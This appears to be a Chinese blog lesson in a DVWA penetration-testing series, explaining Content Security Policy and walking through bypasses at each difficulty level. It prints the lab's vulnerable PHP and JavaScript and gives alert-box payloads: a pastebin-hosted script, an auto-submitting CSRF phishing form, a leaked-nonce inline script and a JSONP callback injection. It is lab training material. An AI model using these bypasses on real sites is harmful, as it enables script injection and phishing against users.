bartender的安全策略不允许指定的用户执行此操作_一步一步学习DVWA渗透测试(CSP Bypass绕过内容安全策略)-第十二次课...

9ef1d97c928dfd56a7c302b9585a4334.png

小伙伴们,今天我们继续学习。

Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是绕过内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。

两种方法可以启用CSP:

  1. 一种是通过HTTP相应头信息的Content-Security-Policy字段;
  2. 另一种是通过网页标签;

例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

以上例子中的说明如下:

  1. script-src脚本:只信任当前域名
  2. object-src:不信任任何URL,即不加载任何资源
  3. style-src样式表:只信任http://cdn.example.org和http://third-party.org
  4. child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
  5. 其他资源:没有限制其他资源

当启用CSP后,不符合CSP的外部资源会被阻止加载。

为什么要使用CSP呢?

首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。当前,CSP还处在快速的发展期,目前正在进行规范中的版本是CSP3,CSP标准由用户代理选择实现。例如,Chrome具有完整的CSP2支持,并且实现了CSP3的大部分工作草案,仅在某些情况下可能会落后于实验中的某些特性,而Mozilla Firefox和基于WebKit的浏览器则刚刚获得了完整的CSP2支持。在实际使用中,CSP策略在Content-Security-Policy HTTP响应头或元素中提供。

攻击者如何绕过CSP进行攻击呢?

1、Low低级别

源代码如下:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com http://example.com http://code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>

分析上面的代码,可以看到允许访问的javaScipt网站:

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com http://example.com http://code.jquery.com https://ssl.google-analytics.com ;";

通过Burp工具,也能观察到返回的报文中CSP的内容:

0a9abaa19e92ba1abbb96d8f70ac92ae.png

此时可以上pastebin网站上自己写一个javascript代码alert(“cobot”),保存后记住链接,https://pastebin.com/PsEgRcBT,然后在界面中输入这个链接,结果如下:

6c43c629d773b67432cd291c5c141ae2.png

如果能够看到弹出下面信息框,说明pastebin上保存的js代码被执行了。是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在受信任的网站上,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。

fa9b5527a29786aa1c1326e4810394dd.png

当然也可以通过CSRF实现攻击,做一个钓鱼网站,通过发送邮件等方式让用户收到链接后,诱惑点击,用户点击后,则被被攻击。例如如下构造一个钓鱼网站


<form action=" http://192.168.92.129/DVWA/vulnerabilities/csp/" id="csp" method="post">

<input type="text" name="include" value=""/>

</form>

<script>

var form = document.getElementById("csp");

form[0].value="https://pastebin.com/PsEgRcBT ";

form.submit();

</script>

2、Medium中级别

源代码如下:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

http头信息中的script-src的合法来源发生了变化,说明如下

unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。

nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”

现在更加简单了,可以直接输入以下代码

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">cobot")</script>

弹出如下信息框,表示注入成功。

840f409e4f5a80e4b05a2dd2977f630c.png

有些浏览器都有自动检测xss功能,禁止xss对话框弹出,而是弹出下面拦截提示信息。

c5321f6342baa018e8629608cfa1e13d.png

3、High高级别

源代码如下:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

窗体顶端

窗体底端

High级别没有输入框, 需要研究源代码,首先先看一下 CSP 头, 只有 script-src 'self';, 只允许本界面加载javascript 执行,然后研究了一下这个点击显示答案的逻辑(逻辑在 source/high.js里), 大致如下:

点击按钮 -> js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum), 并把它加入到 DOM 中 -> js 中定义了一个 solveNum 的函数 -> 因此 script 标签会把远程加载的 solveSum({"answer":"15"}) 当作 js 代码执行, 而这个形式正好就是调用了 solveSum 函数, 然后这个函数就会在界面适当的位置写入答案。

一般是没办法修改服务器上的 jsonp.php 文件的,但是在查看服务端源码的时,可以看到下面代码:

if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "

这里还是会接收 include 参数, 这可以作为一个注入点,可以构造 Payload: <script src="source/jsonp.php?callback=alert('cobot');"></script>, 并把这个当做 include 参数传给界面就注入成功!

4、Impossible不可能级别

源代码如下:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';

Impossible.js

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

该级别主要还是修复了 callback 参数可被控制问题,无法进行攻击。

关注安全 关注作者

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值